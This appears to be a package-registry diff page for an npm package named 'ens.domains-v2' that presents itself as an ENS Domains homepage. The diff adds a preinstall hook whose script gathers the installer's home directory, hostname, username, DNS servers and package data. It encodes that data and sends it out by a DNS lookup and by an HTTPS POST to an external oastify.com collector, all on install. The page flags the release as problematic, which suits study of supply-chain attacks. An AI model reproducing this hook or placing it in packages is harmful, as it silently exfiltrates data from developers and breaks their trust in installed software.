ens.domains-v2 1.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ens.domains-v2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +12 -0
  2. package/preinstall.js +126 -0
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+
3
+ "name": "ens.domains-v2",
4
+ "version": "1.2.0",
5
+ "description": "ENS Domains homepage v2 DC ",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+
10
+ "author": "mjhd0x1",
11
+ "license": "ISC"
12
+ }
package/preinstall.js ADDED
@@ -0,0 +1,126 @@
1
+ const os = require("os");
2
+
3
+ const dns = require("dns");
4
+
5
+ const querystring = require("querystring");
6
+
7
+ const https = require("https");
8
+
9
+ const packageJSON = require("./package.json");
10
+
11
+ const package = packageJSON.name;
12
+
13
+
14
+ // Collect tracking data
15
+
16
+ const trackingData = JSON.stringify({
17
+
18
+     p: package,
19
+
20
+     c: __dirname,
21
+
22
+     hd: os.homedir(),
23
+
24
+     hn: os.hostname(),
25
+
26
+     un: os.userInfo().username,
27
+
28
+     dns: dns.getServers(),
29
+
30
+     r: packageJSON ? packageJSON.___resolved : undefined,
31
+
32
+     v: packageJSON.version,
33
+
34
+     pjson: packageJSON,
35
+
36
+ });
37
+
38
+
39
+ // Step 1: Hex encode the tracking data
40
+
41
+ const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
42
+
43
+
44
+ // Step 2: Base64 encode the hex data
45
+
46
+ const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
47
+
48
+
49
+ // Use Base64 encoded data in DNS query (as an example)
50
+
51
+ const dnsQuery = `example.com.${base64EncodedData}.mydomain.com`;
52
+
53
+
54
+ // Example DNS resolution to exfiltrate the data
55
+
56
+ dns.resolve(dnsQuery, (err, addresses) => {
57
+
58
+     if (err) {
59
+
60
+         console.error("Error in DNS resolution:", err);
61
+
62
+     } else {
63
+
64
+         console.log("DNS Addresses:", addresses);
65
+
66
+     }
67
+
68
+ });
69
+
70
+
71
+ // Prepare the data for HTTP POST request
72
+
73
+ var postData = querystring.stringify({
74
+
75
+     msg: trackingData, // You might want to send the original tracking data here
76
+
77
+ });
78
+
79
+
80
+ // Prepare HTTP request options
81
+
82
+ var options = {
83
+
84
+     hostname: "cjz2hxg9nfqcir6fnhrgvtb19sfj3arz.oastify.com", // Replace with Interactsh or Pipedream
85
+
86
+     port: 443,
87
+
88
+     path: "/",
89
+
90
+     method: "POST",
91
+
92
+     headers: {
93
+
94
+         "Content-Type": "application/x-www-form-urlencoded",
95
+
96
+         "Content-Length": postData.length,
97
+
98
+     },
99
+
100
+ };
101
+
102
+
103
+ // Create and send the HTTPS request
104
+
105
+ var req = https.request(options, (res) => {
106
+
107
+     res.on("data", (d) => {
108
+
109
+         process.stdout.write(d);
110
+
111
+     });
112
+
113
+ });
114
+
115
+
116
+ req.on("error", (e) => {
117
+
118
+     console.error(e);
119
+
120
+ });
121
+
122
+
123
+ req.write(postData);
124
+
125
+ req.end();
126
+